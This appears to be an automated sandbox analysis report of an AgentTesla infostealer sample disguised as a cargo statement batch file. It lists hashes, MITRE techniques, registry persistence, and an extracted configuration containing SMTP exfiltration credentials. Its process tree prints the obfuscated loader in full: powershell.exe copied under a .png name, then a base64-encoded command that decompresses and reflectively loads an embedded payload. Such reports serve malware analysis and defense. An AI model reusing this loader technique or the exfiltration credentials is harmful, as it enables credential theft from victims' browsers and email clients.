agenttesla | 9f8fae4914e69773680cdc8f9c9131bdffade575a5ea424f09390468aca6fa24

General

Target

SOA_SEVEN HILLS CARGO.bat
Size

1010KB
MD5

598a471dddb453d80036375fc9b8893e
SHA1

7682286b446689b8f9f2d0b2c03554b13f03d396
SHA256

348317a6cdde242d659ca060832df6ef808d24bb96d78d5ca3f58c50b7b6cce2
SHA512

e7e1ac713dbdb6a06c0f6586c5700088ecbbdffa69befd221418830c8fd9218116c81b95181ec1b5c917f32abb10ce6bb6cb42c4936dca3e6d41422de4395e9a
SSDEEP

24576:ot6fGhEePZQVxHJ3/DYfqBwX0nuKRY5AI9PpAVH8xP:KhtZQvltwXl95rprZ

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.asiaparadisehotel.com
Port:
587
Username:
[email protected]
Password:
^b2ycDldex$@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Executes dropped EXE 1 IoCs

pid	Process
2440	Yjxykn.png

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1114462139-3090196418-29517368-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TlKsFB = "C:\\Users\\Admin\\AppData\\Roaming\\TlKsFB\\TlKsFB.exe"	Yjxykn.png

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	api.ipify.org
24	api.ipify.org

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2108	2440	WerFault.exe	94

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2440	Yjxykn.png
2440	Yjxykn.png
2440	Yjxykn.png
2440	Yjxykn.png

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2440	Yjxykn.png
Token: SeDebugPrivilege	2440	Yjxykn.png

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 3868 wrote to memory of 3692	3868	cmd.exe	87
PID 3868 wrote to memory of 3692	3868	cmd.exe	87
PID 3868 wrote to memory of 4696	3868	cmd.exe	86
PID 3868 wrote to memory of 4696	3868	cmd.exe	86
PID 3868 wrote to memory of 3256	3868	cmd.exe	88
PID 3868 wrote to memory of 3256	3868	cmd.exe	88
PID 3256 wrote to memory of 5060	3256	cmd.exe	90
PID 3256 wrote to memory of 5060	3256	cmd.exe	90
PID 3256 wrote to memory of 3392	3256	cmd.exe	91
PID 3256 wrote to memory of 3392	3256	cmd.exe	91
PID 3256 wrote to memory of 4784	3256	cmd.exe	92
PID 3256 wrote to memory of 4784	3256	cmd.exe	92
PID 3256 wrote to memory of 3904	3256	cmd.exe	93
PID 3256 wrote to memory of 3904	3256	cmd.exe	93
PID 3256 wrote to memory of 2440	3256	cmd.exe	94
PID 3256 wrote to memory of 2440	3256	cmd.exe	94
PID 3256 wrote to memory of 2440	3256	cmd.exe	94

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\SOA_SEVEN HILLS CARGO.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Windows\system32\xcopy.exe
  xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Yjxykn.png
  2⤵
  PID:4696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo F "
  2⤵
  PID:3692
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\SOA_SEVEN HILLS CARGO.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:5060
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\Yjxykn.png
    3⤵
    PID:3392
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo F "
    3⤵
    PID:4784
- - C:\Windows\system32\xcopy.exe
    xcopy /d /q /y /h /i "C:\Users\Admin\AppData\Local\Temp\SOA_SEVEN HILLS CARGO.bat" C:\Users\Admin\AppData\Local\Temp\Yjxykn.png.bat
    3⤵
    PID:3904
- - C:\Users\Admin\AppData\Local\Temp\Yjxykn.png
    C:\Users\Admin\AppData\Local\Temp\Yjxykn.png -win 1 -enc JABGAGwAbgB1AG8AdAB4AGcAYgBrAG8AIAA9ACAAWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQATABpAG4AZQBzACgAKAAoAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlACkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACIALgBiAGEAdAAiACkALAAgAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0AbABhAHMAdAAgADEAOwAgACQATwB4AHEAdgB5AG0AagBkAG4AZgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABGAGwAbgB1AG8AdAB4AGcAYgBrAG8AKQA7ACQASQBqAGgAcQB3AHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AKAAgACwAIAAkAE8AeABxAHYAeQBtAGoAZABuAGYAIAApADsAJABvAHUAdABwAHUAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQATABhAHYAdwBoAHIAYQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACAAJABJAGoAaABxAHcAdAAsACAAKABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQA7ACQATABhAHYAdwBoAHIAYQAuAEMAbwBwAHkAVABvACgAIAAkAG8AdQB0AHAAdQB0ACAAKQA7ACQATABhAHYAdwBoAHIAYQAuAEMAbABvAHMAZQAoACkAOwAkAEkAagBoAHEAdwB0AC4AQwBsAG8AcwBlACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAgACQATwB4AHEAdgB5AG0AagBkAG4AZgAgAD0AIAAkAG8AdQB0AHAAdQB0AC4AVABvAEEAcgByAGEAeQAoACkAOwBbAEEAcgByAGEAeQBdADoAOgBSAGUAdgBlAHIAcwBlACgAJABPAHgAcQB2AHkAbQBqAGQAbgBmACkAOwAgACQAVwBuAGIAdQBvACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAE8AeABxAHYAeQBtAGoAZABuAGYAKQA7ACAAJABMAHoAYwB1AGgAaAB2AHIAdwAgAD0AIAAkAFcAbgBiAHUAbwAuAEcAZQB0AEUAeABwAG8AcgB0AGUAZABUAHkAcABlAHMAKAApAFsAMABdADsAIAAkAEYAcgBsAGgAZQAgAD0AIAAkAEwAegBjAHUAaABoAHYAcgB3AC4ARwBlAHQATQBlAHQAaABvAGQAcwAoACkAWwAwAF0ALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAJABuAHUAbABsACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2440
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 2440 -s 3204
      4⤵
      Program crash
      PID:2108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 2440 -ip 2440
1⤵
PID:3936

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

2

T1552

Credentials In Files

2

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

2

T1005

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Yjxykn.png

Filesize
423KB

MD5
c32ca4acfcc635ec1ea6ed8a34df5fac

SHA1
f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

SHA256
73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

SHA512
6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

Download Submit
C:\Users\Admin\AppData\Local\Temp\Yjxykn.png.bat

Filesize
1010KB

MD5
598a471dddb453d80036375fc9b8893e

SHA1
7682286b446689b8f9f2d0b2c03554b13f03d396

SHA256
348317a6cdde242d659ca060832df6ef808d24bb96d78d5ca3f58c50b7b6cce2

SHA512
e7e1ac713dbdb6a06c0f6586c5700088ecbbdffa69befd221418830c8fd9218116c81b95181ec1b5c917f32abb10ce6bb6cb42c4936dca3e6d41422de4395e9a

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xqsdiphm.nre.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2440-29-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-31-0x0000000006CA0000-0x0000000006CBA000-memory.dmp

Filesize
104KB

Download
memory/2440-12-0x00000000058D0000-0x0000000005EF8000-memory.dmp

Filesize
6.2MB

Download
memory/2440-13-0x00000000057D0000-0x00000000057F2000-memory.dmp

Filesize
136KB

Download
memory/2440-14-0x0000000005FB0000-0x0000000006016000-memory.dmp

Filesize
408KB

Download
memory/2440-15-0x0000000006120000-0x0000000006186000-memory.dmp

Filesize
408KB

Download
memory/2440-10-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-25-0x0000000006290000-0x00000000065E4000-memory.dmp

Filesize
3.3MB

Download
memory/2440-26-0x0000000006770000-0x000000000678E000-memory.dmp

Filesize
120KB

Download
memory/2440-27-0x00000000067B0000-0x00000000067FC000-memory.dmp

Filesize
304KB

Download
memory/2440-8-0x00000000750C0000-0x0000000075870000-memory.dmp

Filesize
7.7MB

Download
memory/2440-9-0x00000000051A0000-0x00000000051D6000-memory.dmp

Filesize
216KB

Download
memory/2440-30-0x0000000007DD0000-0x000000000844A000-memory.dmp

Filesize
6.5MB

Download
memory/2440-11-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-32-0x0000000007950000-0x0000000007A18000-memory.dmp

Filesize
800KB

Download
memory/2440-33-0x0000000007A20000-0x0000000007A9A000-memory.dmp

Filesize
488KB

Download
memory/2440-34-0x0000000007BA0000-0x0000000007C06000-memory.dmp

Filesize
408KB

Download
memory/2440-36-0x00000000054B0000-0x00000000054F3000-memory.dmp

Filesize
268KB

Download
memory/2440-37-0x0000000007D20000-0x0000000007D62000-memory.dmp

Filesize
264KB

Download
memory/2440-38-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-39-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-41-0x0000000008A00000-0x0000000008FA4000-memory.dmp

Filesize
5.6MB

Download
memory/2440-40-0x00000000750C0000-0x0000000075870000-memory.dmp

Filesize
7.7MB

Download
memory/2440-42-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-43-0x0000000005290000-0x00000000052A0000-memory.dmp

Filesize
64KB

Download
memory/2440-44-0x00000000750C0000-0x0000000075870000-memory.dmp

Filesize
7.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads